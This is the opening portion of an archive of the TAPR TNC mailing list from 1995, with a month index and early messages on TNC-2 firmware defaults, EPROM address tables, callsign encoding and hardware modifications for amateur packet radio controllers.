TAPR TNC Special Interest Group Archive, May 1995 through May 2003

May 1995 through May 2003

TAPR's technical forum for TAPR and compatible terminal node controllers, particularly the TNC-1 and TNC-2, including hardware and firmware bugs, modifications, patches, documentation, interfaces, component substitutions, and proposed enhancements.

This volume contains 71 original monthly files and 629 messages, arranged chronologically. The PDF is a readable access copy: MIME transfer encodings are decoded, HTML bodies are converted to plain text, and non-text attachments are represented by descriptive notes. The raw source text is supplied separately with the Internet Archive item.

This discussion archive complements the separately curated TAPR TNC firmware, software, manuals, and schematics item.

Month	Messages	Original source file
1995-05	5	tapr-tnc.9505
1995-06	17	tapr-tnc.9506
1995-07	19	tapr-tnc.9507
1995-08	8	tapr-tnc.9508
1995-09	3	tapr-tnc.9509
1995-10	90	tapr-tnc.9510
1995-11	18	tapr-tnc.9511
1995-12	2	tapr-tnc.9512
1996-01	23	tapr-tnc.9601
1996-02	7	tapr-tnc.9602
1996-03	21	tapr-tnc.9603
1996-04	6	tapr-tnc.9604
1996-06	24	tapr-tnc.9606
1996-07	2	tapr-tnc.9607
1996-08	6	tapr-tnc.9608
1996-09	2	tapr-tnc.9609
1996-11	3	tapr-tnc.9611
1996-12	9	tapr-tnc.9612
1997-01	8	tapr-tnc.9701
1997-02	10	tapr-tnc.9702
1997-03	23	tapr-tnc.9703
1997-04	9	tapr-tnc.9704
1997-05	1	tapr-tnc.9705
1997-06	15	tapr-tnc.9706
1997-07	1	tapr-tnc.9707
1997-08	35	tapr-tnc.9708

Month	Messages	Original source file
1997-09	16	tapr-tnc.9709
1997-10	4	tapr-tnc.9710
1997-11	2	tapr-tnc.9711
1997-12	2	tapr-tnc.9712
1998-01	32	tapr-tnc.9801
1998-02	13	tapr-tnc.9802
1998-03	2	tapr-tnc.9803
1998-04	21	tapr-tnc.9804
1998-05	4	tapr-tnc.9805
1998-06	29	tapr-tnc.9806
1998-07	4	tapr-tnc.9807
1998-08	1	tapr-tnc.9808
1998-09	5	tapr-tnc.9809
1998-10	14	tapr-tnc.9810
1998-11	1	tapr-tnc.9811
1998-12	4	tapr-tnc.9812
1999-01	1	tapr-tnc.9901
1999-02	12	tapr-tnc.9902
1999-03	1	tapr-tnc.9903
1999-04	9	tapr-tnc.9904
1999-05	5	tapr-tnc.9905
1999-07	6	tapr-tnc.9907
1999-09	1	tapr-tnc.9909
1999-11	1	tapr-tnc.9911
2000-03	7	tapr-tnc.0003
2000-09	1	tapr-tnc.0009
2000-12	2	tapr-tnc.0012
2001-01	3	tapr-tnc.0101
2001-05	2	tapr-tnc.0105
2001-06	5	tapr-tnc.0106
2001-10	10	tapr-tnc.0110
2001-11	1	tapr-tnc.0111
2002-01	1	tapr-tnc.0201
2002-03	3	tapr-tnc.0203
2002-04	2	tapr-tnc.0204
2002-06	3	tapr-tnc.0206
2002-07	7	tapr-tnc.0207
2002-08	5	tapr-tnc.0208
2002-09	2	tapr-tnc.0209
2002-10	4	tapr-tnc.0210
2002-12	2	tapr-tnc.0212
2003-01	3	tapr-tnc.0301
2003-03	1	tapr-tnc.0303
2003-04	2	tapr-tnc.0304
2003-05	6	tapr-tnc.0305

May 1995

Original source file: tapr-tnc.9505
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9505

1. TEST: Test posting

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 4 May 1995 14:40:37 -0500 (EST)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950504144024.350A-100000@n2wx.ampr.org>
Rendered body type: text/plain

As the subject says, a test posting

--
Howard Goldstein hg@n2wx.ampr.org
N2WX http://www.tapr.org/~n2wx/

2. TEST: test posting

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 4 May 1995 16:45:34 -0500 (EST)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950504164515.222A-100000@n2wx.ampr.org>
Rendered body type: text/plain

Hit D to delete and N to see next message

--
Howard Goldstein hg@n2wx.ampr.org
N2WX http://www.tapr.org/~n2wx/

3. TNC2 1.1.9 defaults - fixed (Long)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 15 May 1995 18:32:06 -0500 (EST)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950515182820.75A-100000@n2wx.ampr.org>
Rendered body type: text/plain

Most postings to this mailing list should not be this long, but this is a
good way to distribute the repaired values and make sure the message is
archived.

----------------cut here
Revised 15 April 95

Below are defaults to match 1.1.9 dated 12/26/94.

Thanks to Jeff Garrett, ZL1BIV, for invaluable assistance getting this
document straightened out

Default Locations

The default parameters for the various TNC 2 commands are located in the 1.1.9 EPROM.
The defaults are documented here for those of you who wish to change them for particular
applications (such as remotely located units, etc.). For release 1.1.9, the defaults table is
found at address 0B98 hex.

NOTE: In future releases of firmware, this location may change. There is a pointer at
address 0055H which contains the location of the default area in Z80 low-byte/high-byte
format.

WARNING! The TNC 2 firmware does not check for valid defaults. If you program an
invalid default (for example, parity 5), unpredictable results may occur. Be sure you
double-check any defaults you change!

The defaults are listed in the table below. All notes follow the table.

EPROM Address (Hex)	Value (Hex)	Meaning	Command	Notes
0bd6	21	33	DWAIT	33*10 mSec
0bd7	00	0	AXHANG	0*100 mSec
0bd8	00	0	PACTIME	EVERY/AFTER*

0bd9	0A	10	PACTIME	10*100 mSec	
0bda	21	33	DEADTIME	33*10 mSec	
0bdb	0E	14	ACKTIME	14*10 mSec	
0bdc	02	2	DLCTICKTIME	(do not change this)	
0bdd	00	0	NMEATICKVAL	0*10 Sec	
0bde	01	1	CMDTIME	1*1 Sec	
0bdf	21	33	TXDELAY	33*10 mSec	
0be0	05	5	reserved - must be 5		
0be1	1E	30	TXTMOTMR	30*1 Sec	Note 1
0be2	01	1	TODVAL	1*1 Sec	Note 2
0be3	39	57	IDVAL	57*10 Sec	Note 3
0be4	00	0	RESPTIME	0*100 mSec Stream A	
0be5	00	0	RESPTIME	0*100 mSec Stream B	
0be6	00	0	RESPTIME	0*100 mSec Stream C	
0be7	00	0	RESPTIME	0*100 mSec Stream D	
0be8	00	0	RESPTIME	0*100 mSec Stream E	
0be9	00	0	RESPTIME	0*100 mSec Stream F	
0bea	00	0	RESPTIME	0*100 mSec Stream G	
0beb	00	0	RESPTIME	0*100 mSec Stream H	
0bec	00	0	RESPTIME	0*100 mSec Stream I	
0bed	00	0	RESPTIME	0*100 mSec Stream J	
0bee	0C	12	CHECK	12*10 Sec	Stream A
0bed	0C	12	CHECK	12*10 Sec	Stream B
0bee	0C	12	CHECK	12*10 Sec	Stream C
0bef	0C	12	CHECK	12*10 Sec	Stream D
EPROM Address (Hex)		Value (Hex)	Meaning	Command	Notes
0bf0	0C	12	CHECK	12*10 Sec	Stream E
0bf1	0C	12	CHECK	12*10 Sec	Stream F
0bf2	0C	12	CHECK	12*10 Sec	Stream G
0bf3	0C	12	CHECK	12*10 Sec	Stream H
0bf4	0C	12	CHECK	12*10 Sec	Stream I
0bf7	0C	12	CHECK	12*10 Sec	Stream J
0bf8	05	5	reserved - must be 5		
0bf9	00	0	reserved - must be 0		
0bfa	00	0	reserved - must be 0		
0bfb	00	0	reserved - must be 0		
0bfc	00	0	reserved - must be 0		
0bfd	00	0	reserved - must be 0		
0bfe	00	0	reserved - must be 0		
0bff	00	0	reserved - must be 0		
0c00	00	0	reserved - must be 0		
0c01	00	0	reserved - must be 0		
0c02	00	0	reserved - must be 0		
0c03	01	1	BEACON EVERY/AFTER*,DEF EVERY		
0c04	00	0	BEACON TIME (0 = never)		
0c05	9C	'N'	MYCALL		Note 4
0c06	9E	'O'			
0c07	86	'C'			
0c08	82	'A'			
0c09	98	'L'			
0c0a	98	'L'			
0c0b	60	SSID 0			
0c0c	00	0	must be 0 - end of callsign string		
0c0d	40	' '	MYALIAS		Note 4
0c0e	40	' '			
0c0f	40	' '			
0c10	40	' '			
0c11	40	' '			
0c12	40	' '			
0c13	60	SSID 0			
0c14	00	0	must be 0 - end of callsign string		
0c15	03	3	FRACK	3*1 Sec	
0c16	80	128	PACLEN		
0c17	0A	10	RETRY		
0c18	00	0	reserved - must be 0		
0c19	04	4	MAXFRAME		
0c1a	07	7	AWLEN - must be 7 or 8		
0c1b	03	3	PARITY	EVEN	Note 5
0c1c	00	0	AXDELAY		
0c1d	02	2	TXDELAYC		
0c1e	03	3	SLOTS		
0c1f	7C	'|'	STREAMSW Character		
0c20	01	1	USERS		
EPROM Address (Hex)		Value (Hex)	Meaning	Command	Notes
0c21	0D	^M	SENDPAC Character		

0c22	18	^X	CANLINE Character	
0c23	19	^Y	CANPAC Character	
0c24	03	^C	COMMAND Character	
0c25	08	^H	DELETE Character	
0c26	16	^V	PASS Character	
0c27	12	^R	REDISPLAY Character	
0c28	13	^S	STOP Character	
0c29	11	^Q	START Character	
0c2a	13	^S	XOFF Character	
0c2b	11	^Q	XON Character	
0c2c	00	0	NULLS	
0c2d	00	0	SCREENLN	
0c2e	0000	0	CLKADJ	
0c30	00	0	TAPRLATCH	
0c31	00	0	MFILTER 1st Parameter	
0c32	00	0	MFILTER 2nd Parameter	
0c33	00	0	MFILTER 3rd Parameter	
0c34	00	0	MFILTER 4th Parameter	
0c35	00	0	MFILTER 5th Parameter	
0c36	09	CMDS3		Note 7
0c37	6A	CMDS4		Note 8
0c38	44	CMDS5		Note 9
0c39	00	CMDS6		Note 10
0c3a	20	CMDS7		Note 11
0c3b	3D	CMDS8		Note 12
0c3c	02	CMDS9		Note 13
0c3d	46	CMDS10		Note 14
0c3e	1F	CMDS11		Note 15
0c3f	60	CMDS12		Note 16
0c40	B8	CMDS13		Note 17
0c41	60	CMDS14		Note 18
0c42	30	cmds15		note 24
0c43	00	cmds16		note 25
0c44	40	cmds17		note 26
0c45	00	0	MYDLCNUM	
0c46	FE	254	DEFLTDLC	
0c47	08		PERSIST	
0c48	00	0	Last Beacon Time - default to 0	
0c49	8D		reserved - must be 08DH	
0c4a	00	0	reserved - must be 0	
0c4b	00	0	reserved - must be 0	
0c4c	00	0	reserved - must be 0	
0c4d	00	0	reserved - must be 0	
0c4e	00	0	reserved - must be 0	
0c4f	00	0	reserved - must be 0	
0c50	00	0	reserved - must be 0	
0c51	00	0	reserved - must be 0	
0c52	00	0	reserved - must be 0	
0c53	00	0	reserved - must be 0	
0c54	00	0	reserved - must be 0	
EPROM Address (Hex)		Value (Hex)	Meaning Command	Notes
0c55	00	0	reserved - must be 0	
0c56	00	0	reserved - must be 0	
0c57	00	0	reserved - must be 0	
0c58	00	0	reserved - must be 0	
0c59	00	0	reserved - must be 0	
0c5a	00	0	reserved - must be 0	
0c5b	86	'C'	UNPROTO CALL	See Note 4
0c5c	A2	'Q'		
0c5d	40	' '		
0c5e	40	' '		
0c5f	40	' '		
0c60	40	' '		
0c61	60	SSID 0		
0c62	00	0	must be 0 - end of callsign string	
0c68		MFLAGS		Note 19
0c69		DFLAGS		Note 20
0c6a		CONFLAG		Note 21
0c6b		ENTRYSTA		Note 22
0c6c		ENT2		Note 23

NOTES

Note 1
This is the timer which, when it is exceeded, increments the TXTIMEOUT Health counter.

Note 2
TODVAL specifies the number of "ticks" the DAYTIME clock increments each second. It should always be set to 1.

Note 3
IDVAL is not otherwise settable. It specifies the number of 10-second intervals which elapse between IDs when HID is ON.

Note 4
Callsigns are encoded per the AX.25 standard document. A callsign consists of six (6) numbers and letters. The letters must be upper case and, if the callsign is less than six (6) elements long, must be right-filled with blanks. The ASCII values corresponding to the letters and numbers must be left-shifted one bit.

The letters and numbers in HEX are:

Char	ASCII	Call
(BLANK)	20	40
A	41	82
B	42	84
C	43	86
D	44	88
E	45	8A
F	46	8C
G	47	8E
H	48	90
I	49	92
J	4A	94
K	4B	96
L	4C	98
M	4D	9A
N	4E	9C
O	4F	9E
P	50	A0
Q	51	A2
R	52	A4

Char	ASCII	Call
S	53	A6
T	54	A8
U	55	AA
V	56	AC
W	57	AE
X	58	B0
Y	59	B2
Z	5A	B4
0	30	60
1	31	62
2	32	64
3	33	66
4	34	68
5	35	6A
6	36	6C
7	37	6E
8	38	70
9	39	72

A seventh callsign value is the secondary station ID (SSID). This is a value from 0 through 15 and is encoded as:

Bit	7	6	5	4	3	2	1	0
	0	1	1	D	C	B	A	0

where D is the most significant bit and A the least in the binary value (0 through 15).

Note 5

Parity for the asynchronous serial port is:

Value	Meaning
0	None
1	Odd
2	None
3	Even

Note 6

Binary status and parameter elements (commands whose arguments are ON/OFF) are encoded as

```
     ON  = TRUE  = 1
     OFF = FALSE = 0
```

Commands which are "negative-true logic" (FALSE = 1 and TRUE = 0) are indicated by trailing asterisks (*).
There are several defaults that are encoded on a bit basis. These are listed below.

Note 7 CMDS3 '09' ***

Bit	Command	Default
7-	CMSG	off
6-	CONMODE	trans/conv*
5-	NULF	off
4-	NUCR	off
3-	LCOK	on
2-	PASSALL	off
1-	TXFLOW	off
0-	AX25L2V2	onf

Note 8 CMDS4 '6A' ***

Bit	Command	Default
7-	ESCAPE	off
6-	XMITOK	on
5-	DIGIPEAT	on
4-	LFADD	off
3-	BKONDEL	on
2-	DELETE	off
1-	ECHO	on
0-	BUDLIST	off

Note 9 CMDS5 '44' ***

Bit	Command	Default
7-	CONSTAMP	off
6-	DAYUSA	on
5-	NEWMODE	off
4-	reserved	off
3-	MCOM	off
2-	MALL	on
1-	HID	off
0-	HEADRLN	off

Note 10 CMDS6 '00' ***

Bit	Command	Default
7-	STREAMCA	off
6-	STREAMDB	off
5-	reserved	off
4-	reserved	off
3-	reserved	off
2-	8BITCONV	off
1-	TRFLOW	off
0-	MSTAMP	off

Note 11 CMDS7 '20' ***

Bit	Command	Default
7-	reserved	off
6-	reserved	off
5-	LCSTREAM	on
4-	reserved	off
3-	NOMODE	off
2-	RXBLOCK	off
1-	HEALLED	off
0-	CBELL	off

Note 12 CMDS8 '3D' ***

Bit	Command	Default
7-	LFIGNORE	off
6-	CMSGDISC	off
5-	reserved	on ***
4-	reserved	on ***
3-	reserved	on ***
2-	reserved	on ***
1-	reserved	off
0-	reserved	on ***

```
Note 13   CMDS9         '02'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    BBSMSGS     off
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    reserved    off
      1-    reserved    on    ***
      0-    reserved    off

Note 14   CMDS10        '46'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    reserved    on   ***
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    reserved    on   ***
      1-    reserved    on   ***
      0-    reserved    off

Note 15   CMDS11        '1F'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    MNONAX25    off
      5-    reserved    off
      4-    reserved    on   ***
      3-    reserved    on   ***
      2-    reserved    on   ***
      1-    TXUIFRAM    on
      0-    FIRMRNR     on

Note 16   CMDS12        '60'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    ACKPRIOR    on
      5-    TXDIDDLE    on
      4-    KISS        off
      3-    CHECKV1     off
      2-    reserved    off
      1-    reserved    off
      0-    reserved    off

Note 17   CMDS13        'B8'   ***
      Bit   Command     Default
      7-    reserved    on   ***
      6-    reserved    off
      5-    reserved    on   ***
      4-    reserved    off
      3-    reserved    on   ***
      2-    BLP         off
      1-    reserved    off
      0-    reserved    off

Note 18   CMDS14        '60'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    ANSWRQRA    on
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    reserved    off
      1-    reserved    off
      0-    reserved    off

Note 19   MFLAGS        '03'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    reserved    off
      5-    reserved    off
      4-    reserved    off
      3-    TRACE       Off
      2-    MCON        On
      1-    MRPT        On
      0-    MONITOR     On

Note 20   DFLAGS        '00'   ***
      Bit   Command     Default
```

```
      7-    reserved    off
      6-    reserved    off
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    reserved    off
      1-    reserved    off
      0-    reserved    off

Note 21   CONFLAG       '99'   ***
      Bit   Command     Default
      7-    reserved    on ***
      6-    reserved    off
      5-    reserved    off
      4-    FLOW        On
      3-    CR          On
      2-    reserved    off
      1-    FULLDUP     Off
      0-    CONOK       On

Note 22   ENTRYSTA      '02'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    reserved    off
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    reserved    off
      1-    AUTOLF      On
      0-    reserved    off

Note 23   ENT2          '04'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    reserved    off
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    XFLOW       On
      1-    reserved    off
      0-    reserved    off


Note 24     CMDS15      '30'   ***
      Bit   Command     Default
      7-    CWID        off
      6-    reserved    off
      5-    reserved    on ***
      4-    MNONPRIN    On ***
      3-    reserved    off
      2-    reserved    off
      1-    reserved    off
      0-    reserved    off


Note 25     CMDS16      '00'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    reserved    off
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    reserved    off
      1-    reserved    off
      0-    reserved    off



Note 26     CMDS17      '40'   ***
      Bit   Command     Default
      7-    reserved    off
      6-    PPERSIST    On
      5-    reserved    off
      4-    reserved    off
      3-    reserved    off
      2-    reserved    off
      1-    reserved    off
      0-    reserved    off
```

4. Periodic posting

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 24 May 1995 19:59:17 -0500 (EST)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950524195656.257B-100000@n2wx.ampr.org>
Rendered body type: text/plain

[this is the first posting of this statement of purpose. If anyone has changes to suggest, don't keep em secret - send them along]

==========

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 24 May 95

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

listproc@dingus.n5lyt.datarace.com

with a blank subject. In the body of your message, write

SIGNOFF TAPR-TNC

Statement of Purpose

This SIG is intended to be a low volume, high s/n place to discuss issues related to use of the TAPR (and clone) TNCs. It is not moderated at this time; list subscribers are requested to remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

- o - Hardware bugs, problems, mods
- o - Firmware bugs, problems, patches
- o - TAPR documentation
- o - Interface issues
- o - Announcements of the above
- o - Suggestions for enhancements
- o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the wrong place to post new user questions. More rapid and complete replies to new user questions is more likely to be found in one of the many newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer's offerings or to elicit suggestions about "Which TNC should I purchase?" Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine TAPR SIGs as well as this one. Initial crossposting is not necessarily a bad idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly extinguished. The moderator reserves the right to deal with flames and off-topic posts from a stance somewhere between complete arbitrariness and Solomonesque. Hopefully more of the latter than the former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may contain the answer to your questions. You may wish to skim these resources before to posting to the list:

ftp to ftp.tapr.org /pub/...

WWW to http://www.tapr.org/tapr/
                        and
        http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX, hg@n2wx.ampr.org

5. State of the State machine?

From: Orville Beach <orv@micom.com>
Date: Sun, 28 May 1995 14:12:27 -0800
To: tapr-tnc@tapr.org
Message-ID: <sfc89484.021@micom.com>
Rendered body type: text/plain

I guess this is the appropriate group for this question -

Many moons ago, the version of the state machine EPROM
in the TNC2 was at 1.09. Sometime in the more recent past I
started receiving version 2.0.

Can someone enlighten me on

a) what changes were in the 2.0 version,

b) are they significant enough to change out existing older
versions, and

c) is there a version that's more current than 2.0?

Thanks in advance.

73 - Orv - wb6wey
orv@micom.com

June 1995

Original source file: tapr-tnc.9506
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9506

1. Speed mods for TNC-2

From: dmedley@indirect.com (David Medley)
Date: Wed, 21 Jun 1995 20:09:47 -0700
To: tapr-tnc@tapr.org
Message-ID: <199506220309.UAA01111@bud.indirect.com>
Rendered body type: text/plain

For some time now I have been seeking info as to how to modify an MFJ 1274
for 19.2k port speed. I have appealed to the manufacturer (promises promises
but no action), I have posted messages on various servers but no reponse.
Maybe this new sig will come up with the answer. I am told it is very simple!!!
73 de Dave KI6QE

---

2. Re: [TAPR-TNC:6] Speed mods for TNC-2:: 19.2kb async port

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 22 Jun 1995 00:14:05 -0500 (EST)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950622001110.364B-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Wed, 21 Jun 1995, David Medley wrote:

> For some time now I have been seeking info as to how to modify an MFJ 1274
> for 19.2k port speed.

The baud rate clock for 19.2 is available on U1 pin 10. You might want
to unsolder the discrete side of one of the dip switches for a baud rate you
use infrequently (300 baud might qualify?) and jump from U1-10 to the
hanging dip switch leg to create a new 19.2 selection.

Howie

--
Howard Goldstein hg@n2wx.ampr.org
N2WX http://www.tapr.org/~n2wx/

---

3. DCD problem

From: f1jkj@planete.net (Laurent Ferracci - F1JKJ)
Date: Thu, 22 Jun 1995 08:21:18 +0200
To: tapr-tnc@tapr.org
Message-ID: <199506220621.IAA17323@unix10.pressimage.fr>
Rendered body type: text/plain

Hi,

It seems that my TNC2 has a problem: Sometimes, when there is'nt any noise,
it begins to light. It quickly stops, lights again, stops, lights...
Periods of light are longer and longer.

This does not come from the led: When it lights, the tnc acts like if a
carrier was present.

Has anyone an idea ?

73

F1JKJ@planete.net
>From Laurent FERRACCI, F1JKJ Fidonet 2:323/22.1
Compuserve
ID 100407,436

---

4. Myalias default?

From: kingj@gdls.com (Jeff King)
Date: Thu, 22 Jun 95 16:20:54 EDT
To: tapr-tnc@tapr.org
Message-ID: <9506222020.AA29889@vcae05.gdls.com>
Rendered body type: text/plain

This is something I discovered a number of years ago, and had reported to
TAPR. I was wondering if it had been fixed or is it considered a feature
(some of the APRS people might make good use of this).

It seems that in release 1.1.4 or there abouts, the "myalias", if not
set, was set to "null". If you tried to digipeat via 'null' (00?), it would
actually work.

If you attempted to lets say connect to c test v *,*,*,*,*,* you would end
up digipeating via the digi named 'null', which would be EVERY tnc in the
area that could hear you that didn't have MYALIAS set. Gennerally this resulted
in a few minutes of continous
packet on the frequency as your frame was passed around.

I remember one field day, I sent out a 'CQ' on 145.01 (just once, mind you)
using this method.... I got answers from as far away as Pennsylvania (I was
in Detroit MI).

Not operated a standard TNC in quite a few years, but wondered if this one
had been looked at yet. I imagine the best fix would be to disable MYALIAS
unless it is set.

Not a biggy, but just curious.

-Jeff

5. Re: [TAPR-TNC:9] Myalias default?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 23 Jun 1995 21:17:45 -0400 (EDT)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950623211227.449B-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Thu, 22 Jun 1995, Jeff King wrote:

> It seems that in release 1.1.4 or there abouts, the "myalias", if not
> set, was set to "null". If you tried to digipeat via 'null' (00?), it would
> actually work.

Fortunately, TNC-2 does not allow the outgoing digipeat field to be null.

> If you attempted to lets say connect to c test v *,*,*,*,*,* you would end

Again, can't do this with a TNC-2.

Many of the TNC-2 callsign parameters are configurable for the null
(40,40,40,40,40,40,60) callsign. While the spec does not prohibit a TNC
from generating the null callsign, it doesn't make sense to allow it.
And TNC-2 won't.

> up digipeating via the digi named 'null', which would be EVERY tnc in the
> area that could hear you that didn't have MYALIAS set. Gennerally this resulted
> in a few minutes of continous
> packet on the frequency as your frame was passed around.
>
> I remember one field day, I sent out a 'CQ' on 145.01 (just once, mind you)
> using this method.... I got answers from as far away as Pennsylvania (I was
> in Detroit MI

On a related note, a few revisions ago the QRA feature was added to
TNC-2. Those with later revisions may wish to review the feature as it
provides a great way to determine who you can reach.

If only the node guys would put it to use, and return useful information
in response to the UNPROTO QRA query....

Howie

--
Howard Goldstein   hg@n2wx.ampr.org
    N2WX   http://www.tapr.org/~n2wx/

6. Periodic posting

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sun, 25 Jun 1995 16:44:42 -0400 (EDT)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950625164425.112A-100000@n2wx.ampr.org>
Rendered body type: text/plain

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 25 Jun 95

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

Statement of Purpose

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs. It is not moderated at this
time; list subscribers are requested to remain on topic and use discretion
to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"
Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine
TAPR SIGs as well as this one. Initial crossposting is not necessarily a
bad idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The moderator reserves the right to deal with flames and
off-topic posts from a stance somewhere between complete arbitrariness and
Solomonesque. Hopefully more of the latter than the former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain the answer to your questions. You may wish to skim these
resources before to posting to the list:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

7. 1.1.9 ?

From: Greg Jones <gjones@tenet.edu>
Date: Sun, 25 Jun 1995 23:40:04 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199506260440.XAA19823@Leslie-Francis.tenet.edu>
Rendered body type: text/plain

Does any one know if the 1.1.9 software works on the DRSI DPK-2 ?

Does any one know if the 1.1.9 software works on the MFJ 1278b ?

Questions from the TAPR office.

Greg

8. Re: [TAPR-TNC:12] 1.1.9 ?

From: "Bob Nielsen" <nielsen@PrimeNet.Com>
Date: Sun, 25 Jun 1995 23:17:45 +0700
To: tapr-tnc@tapr.org
Message-ID: <199506260617.XAA00594@mailhost.primenet.com>
Rendered body type: text/plain

> Date: Sun, 25 Jun 1995 23:42:37 -0500
> Reply-to: tapr-tnc@tapr.org
> From: Greg Jones <gjones@tenet.edu>
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:12] 1.1.9 ?

> Does any one know if the 1.1.9 software works on the DRSI DPK-2 ?

It should, the DRSI firmware is basically an older version.

> Does any one know if the 1.1.9 software works on the MFJ 1278b ?

No, the 1278 is a multimode unit. It should work on 1270 and 1274,
although I am not sure about the latest versions which I think have
more memory (bank switching.?)

Bob

> Questions from the TAPR office.
>
> Greg
>
>

Bob Nielsen Internet:nielsen@primenet.com
Tucson, AZ AMPRnet: w6swe@w6swe.ampr.org
AX.25: w6swe@wb7tls.az.usa.noam

9. Re: [TAPR-TNC:13] Re: 1.1.9 ?

From: shawnpat@sierra.net (Shawn Skinner)
Date: Sun, 25 Jun 1995 07:26:22 -0700
To: tapr-tnc@tapr.org
Message-ID: <199506260726.AA05879@diamond.sierra.net>
Rendered body type: text/plain

>
>> Does any one know if the 1.1.9 software works on the MFJ 1278b ?
>
>No, the 1278 is a multimode unit. It should work on 1270 and 1274,
>although I am not sure about the latest versions which I think have
>more memory (bank switching.?)
>
>Bob
>--------
>Bob Nielsen Internet:nielsen@primenet.com
>Tucson, AZ AMPRnet: w6swe@w6swe.ampr.org
> AX.25: w6swe@wb7tls.az.usa.noam
>

If I understand your reference correctly:
Bank switching refers to the use of a double size Eprom in the TNC/Node
where the origional size (256k) is the first *bank* and the second
half is the second bank (512k Eprom). In the TNC you may set
up the Eprom to have 2 different roms and switch between them while
power off/battery pulled to produce for example a TNC that can become
a node (using TNP208/210) *in the field*. Or in the case of Node ware
the bankswitching is used in the X1J version (uses a 512K Eprom) to
allow the node to automatically access the second half of the data.

73 de Shawn, N7XBM. Elko ARC.
shawnpat@sierra.net Shawn Skinner

10. TNC2 1.1.9

From: Peter Vinson <pjv@centaur.demon.co.uk>
Date: Sat, 24 Jun 95 20:53:13 CET
To: tapr-tnc@tapr.org
Message-ID: <AC122BBB@centaur.demon.co.uk>
Rendered body type: text/plain

TNC-2 1.1.9 update EPROM

The release notes say there is support for the
Dallas "Smartwatch", but do not explain this
further. I assume this would be one of the
DS1216 family but there is both a "C" version
that goes under a RAM and an "E" version that
goes under an EPROM.

Which version is required and are there any extra
commands to invoke Smartwatch operation?

 Peter J. Vinson   F5VCP
---

11. Re: [TAPR-TNC:14] Re: 1.1.9 ?

From: "Bob Nielsen" <nielsen@PrimeNet.Com>
Date: Mon, 26 Jun 1995 10:31:02 +0700
To: tapr-tnc@tapr.org
Message-ID: <199506261731.KAA11348@mailhost.primenet.com>
Rendered body type: text/plain

> From: shawnpat@sierra.net (Shawn Skinner)

> >> Does any one know if the 1.1.9 software works on the MFJ 1278b ?
> >
> >No, the 1278 is a multimode unit. It should work on 1270 and 1274,
> >although I am not sure about the latest versions which I think have
> >more memory (bank switching.?)

> If I understand your reference correctly:
